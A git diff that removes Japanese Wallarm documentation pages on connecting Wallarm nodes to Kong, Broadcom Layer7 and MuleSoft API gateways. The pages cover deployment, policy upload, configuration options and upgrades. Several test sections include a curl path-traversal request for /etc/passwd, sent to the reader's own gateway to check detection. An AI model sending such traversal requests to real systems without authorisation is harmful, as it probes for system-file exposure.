PROXY_IP=$(kubectl get svc --namespace -gateway-proxy -o jsonpath='{.status.loadBalancer.ingress[0].ip}') - ``` -1. テスト用[パストラバーサル][ptrav-attack-docs]攻撃のリクエストをバランサーへ送信します： - - ``` - curl -H "Host: kong-lua-test.wallarm" $PROXY_IP/etc/passwd - ``` - - デフォルトではノードは[監視モード][available-filtration-modes]で動作しているため、Wallarmノードは攻撃をブロックせず、記録します。 -1. Wallarm Console → [US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)の**Attacks**セクションを開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェースのAttacks][attacks-in-ui-image] - -## Wallarm Luaプラグインのアップグレード - -デプロイ済みのWallarm Luaプラグインを[新しいバージョン](code-bundle-inventory.md#kong-api-gateway)にアップグレードするには： - -1. Kong Ingress Controller用の最新のWallarm Luaプラグインコードを入手するため、support@wallarm.comへご連絡ください。 -1. プラグインコードでConfigMapを更新します： - - ``` - kubectl apply -f wallarm-kong-lua.yaml -n - ``` - - ``はKong Ingress ControllerがデプロイされているNamespaceです。 - -プラグインのアップグレードでは、特にメジャーバージョン更新時に、Wallarmノードのアップグレードが必要になる場合があります。リリース情報とアップグレード手順は、[Wallarm Native Nodeの変更履歴](../../updating-migrating/native-node/node-artifact-versions.md)を参照してください。将来のアップグレードを容易にし、非推奨による問題を避けるため、ノードを定期的に更新することを推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/layer7-api-gateway.md b/docs/latest-ja/installation/connectors/layer7-api-gateway.md deleted file mode 100644 index 11ccdb208d..0000000000 --- a/docs/latest-ja/installation/connectors/layer7-api-gateway.md +++ /dev/null @@ -1,106 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Broadcom Layer7 API Gateways - -Broadcomの[Layer7 API Gateways](https://www.broadcom.com/products/software/api-management/layer7-api-gateways)は、組織のAPIトラフィックを制御・保護するための堅牢なソリューションを提供します。Wallarmはコネクタとして機能し、Broadcom Layer7 API Gatewaysで管理されるAPIのセキュリティを強化できます。 - -Broadcom Layer7 API GatewayのコネクタとしてWallarmを使用するには、Wallarm Nodeを外部にデプロイし、ゲートウェイ上にWallarmポリシーを設定して、解析のためにトラフィックをWallarm Nodeへ転送する必要があります。 - -Broadcomコネクタは[インライン](../inline/overview.md)のトラフィックフローのみをサポートします。 - - - -## ユースケース - -このソリューションは、APIをLayer7 API Gatewaysで管理している場合に推奨します。 - -## 制限事項 - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -## 要件 - -デプロイを進めるにあたり、以下の要件を満たしていることを確認します。 - -* Broadcom Layer7 API Gateways製品について理解していること。 -* アプリケーションとAPIがBroadcom Layer7 API Gatewaysに連携し稼働していること。 -* Broadcom Policy Managerがインストールされ、Broadcom Gatewayに接続されていること。 - -## デプロイ - -### 1. Wallarm Nodeをデプロイします - -Wallarm NodeはWallarmプラットフォームの中核コンポーネントで、受信トラフィックを検査し、不正なアクティビティを検出し、脅威の軽減を行うように設定できます。 - -以下のいずれかのアーティファクトを使用して、独自インフラ内に独立したサービスとしてデプロイします。 - -* Linuxインフラ（ベアメタルまたはVMs）向けの[All-in-oneインストーラー](../native-node/all-in-one.md) -* コンテナ化デプロイを使用する環境向けの[Dockerイメージ](../native-node/docker-image.md) -* AWSインフラ向けの[AWS AMI](../native-node/aws-ami.md) -* Kubernetesを利用するインフラ向けの[Helmチャート](../native-node/helm-chart.md) - -### 2. NodeのSSL/TLS証明書をPolicy Managerに追加します - -Broadcom GatewayがHTTPS経由でWallarm Nodeにトラフィックをルーティングできるように、NodeのSSL/TLS証明書をPolicy Managerに追加します。 - -1. Broadcom Policy Managerを開き、→ **Tasks** → **Certificates, Keys and Secrets** → **Manage Certificates**を選択します。 -1. **Add** → **Retrieve via SSL**をクリックし、[Wallarm Nodeのアドレス](#1-deploy-a-wallarm-node)を指定します。 - -### 3. Wallarmポリシーを取得してデプロイします - -Broadcom GatewayがトラフィックをWallarm Node経由でルーティングするように設定します。 - -1. sales@wallarm.comに連絡して、Wallarmポリシーのコードバンドルを入手します。 -1. Broadcom Policy Managerを開き、Broadcom Gatewayのメニューで**Create Policy**を選択し、次の2つのポリシーを追加します。 - - * **リクエスト転送ポリシー**: タイプに`Global Policy Fragment`、タグに`message-received`を設定します。 - - ![](../../images/waf-installation/gateways/layer7/request-policy.png) - - * **レスポンス転送ポリシー**: タイプに`Global Policy Fragment`、タグに`message-completed`を設定します。 - - ![](../../images/waf-installation/gateways/layer7/response-policy.png) -1. リクエスト転送ポリシー（この例では`forward-requests-to-wallarm`）について: - - 1. `wallarm-request-blocking.xml`ファイルをインポートします。 - 1. `wlrm-node-addr`パラメータに[Wallarm Nodeインスタンス](#1-deploy-a-wallarm-node)のアドレスを指定します。 - 1. ポリシーを**Save and Active**します。 - - ![](../../images/waf-installation/gateways/layer7/request-policy-assertion.png) -1. レスポンス転送ポリシー（この例では`forward-responses-to-wallarm`）について: - - 1. `wallarm-response.xml`ファイルをインポートします。 - 1. ポリシーを**Save and Active**します。 - -## テスト - -デプロイしたポリシーの機能をテストするには、次の手順に従います。 - -1. テスト用の[パストトラバーサル][ptrav-attack-docs]攻撃を含むリクエストをGatewayのアドレスに送信します。 - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks**セクションの[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)を開き、攻撃がリストに表示されていることを確認します。 - - ![インターフェースのAttacks][attacks-in-ui-image] - - Wallarm Nodeのモードが[blocking](../../admin-en/configure-wallarm-mode.md)に設定されている場合、リクエストもブロックされます。 - -## Wallarmポリシーのアップグレード - -Broadcom上にデプロイ済みのWallarmポリシーを[新しいバージョン](code-bundle-inventory.md#broadcom-layer7-api-gateway)にアップグレードするには: - -1. sales@wallarm.comに連絡して、更新されたコードバンドルを入手します。 -1. [デプロイ手順](#import-new-broadcom-policies)に従って、更新済みポリシーファイルをPolicy Managerの既存のポリシーインスタンスにインポートします。 -1. ポリシーのパラメータを正しい値で設定します。 -1. 更新後のポリシーを**Save and Activate**します。 - -ポリシーのアップグレードでは、特にメジャーバージョンの更新時にWallarm Nodeのアップグレードが必要になる場合があります。リリース情報とアップグレード手順は、[Wallarm Native Nodeの変更履歴](../../updating-migrating/native-node/node-artifact-versions.md)を参照します。将来のアップグレードを容易にし非推奨を避けるため、Nodeを定期的に更新することを推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/mulesoft-flex-for-wizard.md b/docs/latest-ja/installation/connectors/mulesoft-flex-for-wizard.md deleted file mode 100644 index 890b263351..0000000000 --- a/docs/latest-ja/installation/connectors/mulesoft-flex-for-wizard.md +++ /dev/null @@ -1,84 +0,0 @@ -# ウィザード用MuleSoft Flex - -Wallarm Edge nodeは、MuleSoft Flex Gatewayに[同期](../inline/overview.md)または[非同期](../oob/overview.md)モードで接続できます。どちらのモードでもリクエストをブロックしません。 - -以下の手順に従って接続を設定します。 - -**1. WallarmポリシーをMuleSoft Exchangeにアップロードします** - -1. お使いのプラットフォーム用の提供されているコードバンドルをダウンロードします。 -1. ポリシーアーカイブを展開します。 -1. ポリシーを公開するために使用するマシンが[すべての必要要件](mulesoft-flex.md#requirements)を満たしていることを確認します。 -1. MuleSoft Anypoint Platform → **Access Management** → **Business Groups** → 組織を選択 → その**business group ID**をコピーします。 -1. 展開したポリシーディレクトリ → `Cargo.toml` → `[package.metadata.anypoint]` → `group_id`で、コピーしたグループIDを指定します: - - ```toml - ... - [package.metadata.anypoint] - group_id = "" - definition_asset_id = "wallarm-custom-policy" - implementation_asset_id = "wallarm-custom-policy-flex" - ... - ``` -1. ポリシーを操作しているのと同じターミナルセッションで[Anypoint CLIで認証します](https://docs.mulesoft.com/anypoint-cli/latest/auth): - - ``` - anypoint-cli-v4 conf username - anypoint-cli-v4 conf password '' - ``` -1. ポリシーをビルドして公開します: - - ```bash - make setup # 依存関係とPDK CLIをインストールします - make build # ポリシーをビルドします - make release # ポリシーの新しい本番版をAnypointに公開します - ``` - -カスタムポリシーはMuleSoft Anypoint PlatformのExchangeで利用できるようになりました。 - -**2. WallarmポリシーをAPIにアタッチします** - -Wallarmポリシーは個々のAPIにも、すべてのAPIにもアタッチできます。 - -1. 個別のAPIにポリシーを適用するには、Anypoint Platform → **API Manager** → 対象のAPIを選択 → **Policies** → **Add policy**に進みます。 -1. すべてのAPIにポリシーを適用するには、Anypoint Platform → **API Manager** → **Automated Policies** → **Add automated policy**に進みます。 -1. ExchangeからWallarmポリシーを選択します。 -1. `wallarm_node`パラメータに、`http://`または`https://`を含めたWallarmノードのURLを指定します。 -1. 必要に応じて、[その他のパラメータ](mulesoft-flex.md#configuration-options)を変更します。 -1. ポリシーを適用します。 - -[詳細](mulesoft-flex.md) - - \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/mulesoft-flex.md b/docs/latest-ja/installation/connectors/mulesoft-flex.md deleted file mode 100644 index e8a6dbafb8..0000000000 --- a/docs/latest-ja/installation/connectors/mulesoft-flex.md +++ /dev/null @@ -1,169 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# MuleSoft Flex Gateway向けWallarmコネクタ - -本ガイドでは、Wallarmコネクタを使用して[MuleSoft Flex Gateway](https://docs.mulesoft.com/gateway/latest/)で管理されているMuleおよび非MuleのAPIをどのように保護するかを説明します。 - -Flex GatewayのコネクタとしてWallarmを使用するには、Wallarmノードを外部にデプロイし、MuleSoftでWallarm提供のポリシーを適用して、トラフィックを解析のためにWallarmノードへルーティングする必要があります。 - -Flex Gateway向けWallarmコネクタは、[同期（インライン）](../inline/overview.md)および[非同期（アウトオブバンド）](../oob/overview.md)のトラフィック解析の両方をサポートします: - -=== "同期トラフィックフロー" - ![Wallarmポリシー適用のMuleSoft](../../images/waf-installation/gateways/mulesoft/traffic-flow-flex-gateway-inline.png) -=== "非同期トラフィックフロー" - ![Wallarmポリシー適用のMuleSoft](../../images/waf-installation/gateways/mulesoft/traffic-flow-flex-gateway-oob.png) - -## ユースケース - -本ソリューションは、Flex Gatewayで管理されるAPIを保護するための推奨手法です。 - -## 制限事項 - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -## 要件 - -デプロイを進めるにあたり、次の要件を満たしていることを確認してください: - -* MuleSoftプラットフォームについての理解があります。 -* お使いのアプリケーションとAPIがFlex Gateway上で連携して稼働しています。 - - !!! info "部分的なリクエストに関する注意" - ブロッキング[モード](../../admin-en/configure-wallarm-mode.md)で動作するコネクタの場合、アップストリームが部分的なリクエストを安全に処理できることを確認してください。これは`proxy wasm`ポリシーがストリーミングである性質によるものです。完全な検証が完了する前に、一部のボディデータがアップストリームに到達する場合があります。[詳細はこちら](https://docs.mulesoft.com/pdk/latest/policies-pdk-configure-features-stop) -* ご利用のMuleSoftユーザーに、MuleSoft Anypoint Platformアカウントへアーティファクトをアップロードする権限が付与されています。 -* Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)にある**Administrator**アカウントへアクセスできます。 -* ホストシステムに[Node.js](https://nodejs.org/en/download) 16.0.0+と`npm` 7+がインストールされています。 -* ホストシステムに[`make`](https://formulae.brew.sh/formula/make)がインストールされています。 -* ホストシステムに[Anypoint CLI 4.x](https://docs.mulesoft.com/anypoint-cli/latest/install)がインストールされています。 -* ホストシステムに[PDK CLIの前提条件](https://docs.mulesoft.com/pdk/latest/policies-pdk-prerequisites)がインストールされています。 -* ホストシステムに[Docker](https://docs.docker.com/engine/install/)がインストールされ稼働しています。 -* Native Nodeは[バージョン0.16.0以上](../../updating-migrating/native-node/node-artifact-versions.md)です。 - -## デプロイ - -### 1. Wallarmノードをデプロイする - -Wallarmノードはデプロイが必要なWallarmプラットフォームの中核コンポーネントです。受信トラフィックを検査し、悪意のあるアクティビティを検出し、脅威の軽減を行うように構成できます。 - -Flex Gatewayコネクタの場合、ノードはお客様のインフラストラクチャ内にのみデプロイできます。 - -セルフホスト型ノードのデプロイ方法として適切なアーティファクトを選択し、各手順に従ってください: - -* [オールインワンインストーラー](../native-node/all-in-one.md): ベアメタルまたはVM上のLinuxインフラ向け -* [Dockerイメージ](../native-node/docker-image.md): コンテナ化デプロイを使用する環境向け -* [Helmチャート](../native-node/helm-chart.md): Kubernetesを利用するインフラ向け - -!!! info "必要なNodeのバージョン" - MuleSoft Flex Gatewayコネクタは、Native Nodeの[バージョン0.16.0以上](../../updating-migrating/native-node/node-artifact-versions.md)でのみサポートされます。 - -### 2. Wallarmポリシーを取得してMuleSoft Exchangeにアップロードする - -MuleSoft ExchangeにWallarmポリシーを取得してアップロードするには、次の手順に従ってください: - -1. sales@wallarm.comに連絡してコードバンドルを入手します。 -1. ポリシーを公開するマシンが[すべての必要要件](#requirements)を満たしていることを確認します。 -1. ポリシーのアーカイブを展開します。 -1. MuleSoft Anypoint Platform → **Access Management** → **Business Groups** → 組織を選択 → **business group ID**をコピーします。 -1. 展開したポリシーディレクトリで→ `Cargo.toml` → `[package.metadata.anypoint]` → `group_id`に、コピーしたグループIDを指定します: - - ```toml - ... - [package.metadata.anypoint] - group_id = "" - definition_asset_id = "wallarm-custom-policy" - implementation_asset_id = "wallarm-custom-policy-flex" - ... - ``` -1. ポリシーの作業を行っているのと同じターミナルセッションで、[Anypoint CLIで認証](https://docs.mulesoft.com/anypoint-cli/latest/auth)します: - - ``` - anypoint-cli-v4 conf username - anypoint-cli-v4 conf password '' - ``` -1. ポリシーをビルドして公開します: - - ```bash - make setup # 依存関係とPDK CLIをインストールします - make build # ポリシーをビルドします - make release # ポリシーの新しい本番版をAnypointに公開します - # または - # make publish # ポリシーの開発版をAnypointに公開します - ``` - -これでカスタムポリシーがMuleSoft Anypoint PlatformのExchangeで利用可能になりました。 - -![Wallarmポリシー適用のMuleSoft](../../images/waf-installation/gateways/mulesoft/wallarm-policy-in-exchange.png) - -### 3. WallarmポリシーをAPIに適用する - -Wallarmポリシーは、個別のAPIにも、すべてのAPIにも適用できます。 - -1. 個別のAPIに適用するには、Anypoint Platform → **API Manager** → 対象APIを選択 → **Policies** → **Add policy**に進みます。 -1. すべてのAPIに適用するには、Anypoint Platform → **API Manager** → **Automated Policies** → **Add automated policy**に進みます。 -1. ExchangeからWallarmポリシーを選択します。 -1. パラメーター`wallarm_node`に、`http://`または`https://`を含むWallarmノードのURLを指定します。 -1. 必要に応じて[その他のパラメーター](#configuration-options)を変更します。 -1. ポリシーを適用します。 - -![Wallarmポリシー](../../images/waf-installation/gateways/mulesoft/policy-setup-flex.png) - -## 構成オプション - -Flex Gateway向けWallarmポリシーの設定では、次のパラメーターを指定できます: - -| パラメーター | 説明 | 必須? | -| --------- | ----------- | --------- | -| `wallarm_node` | ご利用の[Wallarm Nodeインスタンス](#1-deploy-a-wallarm-node)のアドレスを設定します。 | はい | -| `real_ip_header` | プロキシやロードバランサー配下にある場合に、元のクライアントIPアドレスを判定するために使用するヘッダーを指定します。デフォルト: `X-Forwarded-For`。 | はい | -| `wallarm_mode` | トラフィック処理モードを指定します: `sync`はトラフィックを直接Wallarm Nodeで処理し、`async`は元のフローに影響を与えずにトラフィックの[コピー](../oob/overview.md)を解析します。デフォルト: `sync`。 | はい | -| `fallback_action` | Wallarmノードがダウンしている場合のリクエストの扱いを定義します。`pass`（すべてのリクエストを許可）または`block`（403コードで全リクエストをブロック）を指定できます。デフォルト: `pass`。 | はい | -| `parse_responses` | レスポンスボディを解析するかどうかを制御します。有効にすると、レスポンススキーマのディスカバリーや、攻撃・脆弱性検出機能が強化されます。デフォルト: `true`。 | はい | -| `response_body_limit` | Wallarmノードに送信するレスポンスボディのサイズを制限します。デフォルト: `4096`バイト。 | いいえ | - -## テスト - -デプロイ済みポリシーの動作をテストするには、次の手順に従ってください: - -1. テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストをAPIに送信します: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)の→ **Attacks**セクションを開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェイスのAttacks][attacks-in-ui-image] - - Wallarmノードのモードが[ブロッキング](../../admin-en/configure-wallarm-mode.md)に設定され、トラフィックがインラインで流れている場合、リクエストもブロックされます。 - -## トラブルシューティング - -期待どおりに動作しない場合は、MuleSoft Anypoint Platform → **Runtime Manager** → 対象アプリケーション → **Logs**にアクセスして、APIのログを確認してください。 - -また、**API Manager**で対象APIを開き、**Policies**タブで適用済みのポリシーを確認することで、ポリシーがAPIに適用されているかを検証できます。自動ポリシーについては、**See covered APIs**オプションを使用して、対象となるAPIと除外理由を確認できます。 - -## ポリシーのアップグレード - -デプロイ済みのWallarmポリシーを[新しいバージョン](code-bundle-inventory.md#mulesoft-flex-gateway)へアップグレードするには: - -1. [手順2](#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange)に従って、更新されたWallarmポリシーをダウンロードし、MuleSoft Exchangeにアップロードします。 -1. 新しいバージョンがExchangeに表示されたら、**API Manager** → 対象API → **Policies** → Wallarmポリシー → **Edit configuration** → **Advanced options**へ進み、ドロップダウンから新しいポリシーバージョンを選択します。 -1. 新しいバージョンで追加のパラメーターが導入されている場合は、必要な値を入力します。 -1. 変更を保存します。 - -Wallarmポリシーが自動ポリシーとして適用されている場合、直接のアップグレードができないことがあります。その場合は、現在のポリシーを削除し、新しいバージョンを手動で再適用してください。 - -ポリシーのアップグレードにあたっては、特にメジャーバージョンアップの場合、Wallarmノードのアップグレードが必要になることがあります。セルフホスト型ノードのリリースノートについては[Native Nodeの変更履歴](../../updating-migrating/native-node/node-artifact-versions.md)をご参照ください。非推奨化を避け、将来のアップグレードを容易にするため、ノードは定期的に更新することを推奨します。 - -## ポリシーのアンインストール - -Wallarmポリシーをアンインストールするには、自動ポリシー一覧または個別APIに適用されたポリシー一覧で**Remove policy**オプションを使用します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/mulesoft-for-wizard.md b/docs/latest-ja/installation/connectors/mulesoft-for-wizard.md deleted file mode 100644 index 49ce60dae0..0000000000 --- a/docs/latest-ja/installation/connectors/mulesoft-for-wizard.md +++ /dev/null @@ -1,95 +0,0 @@ -# wizard向けMuleSoft Mule - -Wallarm Edge nodeは、[同期](../inline/overview.md)モードでMule Gatewayに接続し、リクエストを一切ブロックすることなく、トラフィックがMule APIに到達する前に検査できます。 - -以下の手順に従って接続を設定します。 - -**1. WallarmポリシーをMuleSoft Exchangeにアップロードします** - -1. ご利用のプラットフォーム向けに提供されているコードバンドルをダウンロードします。 -1. ポリシーのアーカイブを展開します。 -1. MuleSoft Anypoint Platform → **Access Management** → **Business Groups** → 組織を選択 → そのIDをコピーします。 -1. ダウンロードした`pom.xml`ファイルの`groupId`パラメータに、コピーしたグループIDを指定します: - - ```xml hl_lines="2" - - BUSINESS_GROUP_ID - wallarm - ``` -1. 展開したアーカイブ内で`conf`ディレクトリを作成し、その中に次の内容の`settings.xml`ファイルを作成します: - - ```xml - - - - - anypoint-exchange-v3 - myusername - mypassword - - - mulesoft-releases-ee - myusername - mypassword - - - - ``` - - `username`と`password`をご自身の資格情報に置き換えます。 -1. ポリシーをMuleSoftにデプロイします: - - ``` - mvn clean deploy -s conf/settings.xml - ``` - -これで、カスタムポリシーはMuleSoft Anypoint Platform Exchangeで利用可能です。 - -**2. WallarmポリシーをAPIに適用する** - -Wallarmポリシーは個別のAPIまたはすべてのAPIに適用できます。 - -1. ポリシーを個別のAPIに適用するには、Anypoint Platform → **API Manager** → 対象のAPIを選択 → **Policies** → **Add policy**に移動します。 -1. すべてのAPIに適用するには、Anypoint Platform → **API Manager** → **Automated Policies** → **Add automated policy**に移動します。 -1. ExchangeからWallarmポリシーを選択します。 -1. `https://`を含むWallarmノードのURLを指定します。 -1. 必要に応じて他のパラメータを変更します。 -1. ポリシーを適用します。 - -[詳細](mulesoft.md) - - \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/mulesoft.md b/docs/latest-ja/installation/connectors/mulesoft.md deleted file mode 100644 index 7da4ce2bbf..0000000000 --- a/docs/latest-ja/installation/connectors/mulesoft.md +++ /dev/null @@ -1,225 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# MuleSoft Mule Gateway向けWallarmコネクタ - -本ガイドでは、Wallarmコネクタを使用して[Mule Gateway](https://docs.mulesoft.com/mule-gateway/mule-gateway-capabilities-mule4)で管理されるMule APIを保護する方法について説明します。 - -Mule GatewayのコネクタとしてWallarmを使用するには、Wallarmノードを外部にデプロイし、MuleSoftでWallarm提供のポリシーを適用して、トラフィックを解析のためにWallarmノードへルーティングする必要があります。 - -Mule Gateway向けWallarmコネクタは、[インライン](../inline/overview.md)でのトラフィック解析のみをサポートします。 - -![Wallarmポリシーを適用したMuleSoft](../../images/waf-installation/gateways/mulesoft/traffic-flow-mule-gateway-inline.png) - -## ユースケース - -本ソリューションは、Mule Gatewayで管理されるMule APIを保護するための推奨方法です。 - -## 制限事項 - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -## 要件 - -デプロイを進める前に、以下の要件を満たしていることを確認してください。 - -* MuleSoftプラットフォームについての理解があること。 -* Anypoint PlatformのEnterpriseサブスクリプション（カスタムポリシーのデプロイおよび外部トラフィックのルーティングに必須）。 -* ホストシステムに[Docker](https://docs.docker.com/engine/install/)がインストールされ、稼働していること。 -* [Maven (`mvn`)](https://maven.apache.org/install.html)がインストールされていること。 -* MuleSoftのユーザーが、MuleSoft Anypoint Platformアカウントにアーティファクトをアップロードできる権限を持っていること。 -* [`/conf/settings.xml`]ファイルに[ MuleSoft Exchangeの認証情報（ユーザー名とパスワード）](https://docs.mulesoft.com/mule-gateway/policies-custom-upload-to-exchange#deploying-a-policy-created-using-the-maven-archetype)が設定されていること。 -* アプリケーションとAPIが関連付けられ、Mule Gateway上で稼働していること。 -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス権があること。 - -## デプロイ - -### 1. Wallarmノードをデプロイする - -WallarmノードはWallarmプラットフォームの中核コンポーネントで、デプロイが必要です。受信トラフィックを検査し、悪意あるアクティビティを検出し、脅威の緩和を行うように構成できます。 - -必要とする管理レベルに応じて、Wallarmがホストするノードとして、またはお客様のインフラストラクチャ内にセルフホストしてデプロイできます。 - -=== "Edge node" - コネクタ向けのWallarmホスト型ノードをデプロイするには、[手順](../security-edge/se-connector.md)に従ってください。 -=== "セルフホストノード" - セルフホスト型ノードのデプロイに使用するアーティファクトを選び、以下の手順に従ってください： - - * ベアメタルまたはVM上のLinuxインフラ向けの[All-in-one installer](../native-node/all-in-one.md) - * コンテナ化されたデプロイを使用する環境向けの[Docker image](../native-node/docker-image.md) - * AWSインフラ向けの[AWS AMI](../native-node/aws-ami.md) - * Kubernetesを利用するインフラ向けの[Helm chart](../native-node/helm-chart.md) - -### 2. Wallarmポリシーを取得してMuleSoft Exchangeにアップロードする - -MuleSoft ExchangeにWallarmポリシーを取得・アップロードするには、次の手順に従ってください。 - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle**に進み、プラットフォーム用のコードバンドルをダウンロードします。 - - セルフホスト型ノードを使用している場合は、コードバンドル入手のためsales@wallarm.comまでご連絡ください。 -1. ポリシーのアーカイブを展開します。 -1. `pom.xml`ファイル内で以下を設定します。 - - === "グローバルインスタンス" - 1. MuleSoft Anypoint Platform → **Access Management** → **Business Groups** → 組織を選択 → そのIDをコピーします。 - 1. `pom.xml`ファイルの`groupId`パラメータにコピーしたグループIDを指定します。 - - ```xml hl_lines="2" - - BUSINESS_GROUP_ID - wallarm - ``` - === "リージョナルインスタンス" - 1. MuleSoft Anypoint Platform → **Access Management** → **Business Groups** → 組織を選択 → そのIDをコピーします。 - 1. `pom.xml`ファイルの`groupId`パラメータにコピーしたグループIDを指定します。 - 1. 特定のリージョンでホストされるMuleSoftインスタンスの場合、対応するリージョンのURLを使用するように`pom.xml`を更新します。例として、欧州リージョンのMuleSoftインスタンスの場合： - - ```xml hl_lines="2 7 14 24" - - BUSINESS_GROUP_ID - wallarm - - - 4.1.2 - https://maven.eu1.anypoint.mulesoft.com/api/v1/organizations/${project.groupId}/maven - - - - - anypoint-exchange-v3 - Anypoint Exchange - https://maven.eu1.anypoint.mulesoft.com/api/v3/organizations/${project.groupId}/maven - - default - - - - - - anypoint-exchange-v3 - Anypoint Exchange - https://maven.eu1.anypoint.mulesoft.com/api/v3/maven - default - - - ``` -1. `conf`ディレクトリを作成し、その中に次の内容の`settings.xml`ファイルを作成します。 - - === "ユーザー名とパスワード" - `username`と`password`を実際の認証情報に置き換えます。 - - ```xml - - - - - anypoint-exchange-v3 - myusername - mypassword - - - mulesoft-releases-ee - myusername - mypassword - - - - ``` - === "トークン（MFAが有効な場合）" - [`password`パラメータにトークンを生成して指定](https://docs.mulesoft.com/access-management/saml-bearer-token)します。 - - ```xml - - - - - anypoint-exchange-v3 - ~~~Token~~~ - 01234567-89ab-cdef-0123-456789abcdef - - - mulesoft-releases-ee - ~~~Token~~~ - 01234567-89ab-cdef-0123-456789abcdef - - - - ``` -1. 次のコマンドでポリシーをMuleSoftにデプロイします。 - - ``` - mvn clean deploy -s conf/settings.xml - ``` - -これで、カスタムポリシーがMuleSoft Anypoint PlatformのExchangeで利用可能になりました。 - -![Wallarmポリシーを適用したMuleSoft](../../images/waf-installation/gateways/mulesoft/wallarm-policy-in-exchange.png) - -### 3. WallarmポリシーをAPIに適用する - -Wallarmポリシーは個別のAPI、またはすべてのAPIに適用できます。 - -1. 個別のAPIに適用するには、Anypoint Platform → **API Manager** → 対象APIを選択 → **Policies** → **Add policy**に進みます。 -1. すべてのAPIに適用するには、Anypoint Platform → **API Manager** → **Automated Policies** → **Add automated policy**に進みます。 -1. ExchangeからWallarmポリシーを選択します。 -1. `http://`または`https://`を含むWallarmノードのURLを指定します。 -1. 必要に応じて他のパラメータを調整します。 -1. ポリシーを適用します。 - -![Wallarmポリシー](../../images/waf-installation/gateways/mulesoft/policy-setup.png) - -## テスト - -デプロイ済みポリシーの動作をテストするには、次の手順に従ってください。 - -1. テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストをAPIに送信します。 - - ``` - curl http:///etc/passwd - ``` -1. [US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)のWallarm Console → **Attacks**セクションを開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェースのAttacks][attacks-in-ui-image] - - Wallarmノードのモードが[blocking](../../admin-en/configure-wallarm-mode.md)に設定され、トラフィックがインラインで流れている場合、リクエストはブロックされます。 - -## トラブルシューティング - -期待どおりに動作しない場合は、MuleSoft Anypoint Platform → **Runtime Manager** → 対象アプリケーション → **Logs**にアクセスし、APIのログを確認してください。 - -また、**API Manager**で対象APIを開き、**Policies**タブに適用済みのポリシーを確認することで、ポリシーがAPIに適用されているかを検証できます。自動ポリシーの場合、**See covered APIs**オプションを使って適用対象のAPIと除外理由を確認できます。 - -## ポリシーのアップグレード - -デプロイ済みのWallarmポリシーを[新しいバージョン](code-bundle-inventory.md#mulesoft-mule-gateway)にアップグレードするには、次のとおりです。 - -1. 更新されたWallarmポリシーをダウンロードし、[手順2](#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange)に従ってMuleSoft Exchangeにアップロードします。 -1. 新しいバージョンがExchangeに表示されたら、**API Manager** → 対象API → **Policies** → Wallarmポリシー → **Edit configuration** → **Advanced options**に進み、ドロップダウンから新しいポリシーバージョンを選択します。 -1. 新しいバージョンで追加のパラメータが導入されている場合は、必要な値を入力します。 - - 例: 2.xから3.xにアップグレードする場合 - - * **CLIENT HOST EXPRESSION**: 特別な変更が不要な限り、デフォルト値`#[attributes.headers['x-forwarded-host']]`を使用します。 - * **CLIENT IP EXPRESSION**: 特別な変更が不要な限り、デフォルト値`#[attributes.headers['x-forwarded-for']]`を使用します。 -1. 変更を保存します。 - 